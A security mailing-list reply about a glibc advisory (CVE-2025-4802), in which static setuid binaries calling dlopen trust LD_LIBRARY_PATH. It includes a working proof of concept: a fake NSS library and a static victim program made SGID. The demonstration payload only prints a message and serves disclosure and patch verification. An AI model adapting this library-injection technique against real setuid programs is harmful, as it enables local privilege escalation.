![]() |
|
Message-ID: <20250517055914.GA24860@openwall.com> Date: Sat, 17 May 2025 07:59:14 +0200 From: Solar Designer <solar@...nwall.com> To: Carlos O'Donell <carlos@...hat.com> Cc: oss-security@...ts.openwall.com Subject: Re: The GNU C Library security advisories update for 2025-05-16 On Fri, May 16, 2025 at 03:41:11PM -0400, Carlos O'Donell wrote: > The following security advisories have been published: > > GLIBC-SA-2025-0002: > =================== > elf: static setuid binary dlopen may incorrectly search LD_LIBRARY_PATH > (CVE-2025-4802) > > A statically linked setuid binary that calls dlopen (including internal > dlopen calls after setlocale or calls to NSS functions such as getaddrinfo) > may incorrectly search LD_LIBRARY_PATH to determine which library to load, > leading to the execution of library code that is attacker controlled. > > The only viable vector for exploitation of this bug is local, if a static > setuid program exists, and that program calls dlopen, then it may search > LD_LIBRARY_PATH to locate the SONAME to load. No such program has been > discovered at the time of publishing this advisory, but the presence of > custom setuid programs, although strongly discouraged as a security > practice, cannot be discounted. > > Notes: > ====== > > Published advisories are available directly in the project git repository: > https://sourceware.org/cgit/glibc/tree/advisories Thank you very much for handling this disclosure! The advisory file that you committed to the glibc repo also helpfully includes info on when the bug was introduced/exposed and when it was fixed. The two referenced commits are from 2017 and 2023, respectively. CVE-id: CVE-2025-4802 Public-Date: 2025-05-16 Vulnerable-Commit: 10e93d968716ab82931d593bada121c17c0a4b93 (2.27) Fix-Commit: 5451fa962cd0a90a0e2ec1d8910a559ace02bba0 (2.39) Here's a testcase I've just created: $ cat attack.c #include <nss.h> #include <stdio.h> enum nss_status _nss_myhostname_endhostent(void) { puts("intercepted"); return NSS_STATUS_SUCCESS; } $ gcc attack.c -o libnss_myhostname.so.2 -O2 -Wall --shared -fPIC $ cat victim.c #include <netdb.h> int main(void) { sethostent(0); endhostent(); return 0; } $ gcc victim.c -o victim -O2 -s -Wall -static /usr/bin/ld: /tmp/cc1VyzAE.o: in function `main': victim.c:(.text.startup+0x7): warning: Using 'sethostent' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking /usr/bin/ld: victim.c:(.text.startup+0xc): warning: Using 'endhostent' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking $ LD_LIBRARY_PATH=. ./victim intercepted $ id uid=1000(user) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 $ chgrp wheel victim $ chmod g+s victim $ LD_LIBRARY_PATH=. ./victim intercepted The second time this printed "intercepted" indicates vulnerability: the program was SGID to a different group, so LD_LIBRARY_PATH shouldn't have been trusted. The above test was on Rocky Linux 9.5 with glibc-static-2.34-125.el9_5.8.x86_64, to install which I had to enable the "devel" repo (which is normally disabled). # dnf install glibc-static Rocky Linux 9 - Devel WARNING! FOR BUILDROOT ONLY DO NOT LEAVE ENABLED So building of static binaries against glibc is quite discouraged at least on this distro. Anyway, re-running the above tests on another system with Rocky Linux 9.5 but the SIG/Security glibc-2.34-125.1.el9_5.security.0.11.x86_64 does not print "intercepted" the second time, which is consistent with my code review - indeed, glibc-owl-alt-sanitize-env.patch hardens those env var uses in dl-support.c, which the upstream fix from 2023 (_not_ backported to this glibc yet) does differently. Unfortunately, none of this helps much yet, because vulnerable programs (if any) would likely have been built by third-parties on other systems. Notably, Go produces static binaries, and I guess would include glibc from its own build? Do they also use any of the affected functions? Searching around shows people building Go programs complain about the glibc "warning: Using 'getaddrinfo' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking" (and ditto for some other functions), but only a subset (maybe none?) of those programs would be installed SUID/SGID/setcaps. Are we aware of any? Alexander
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.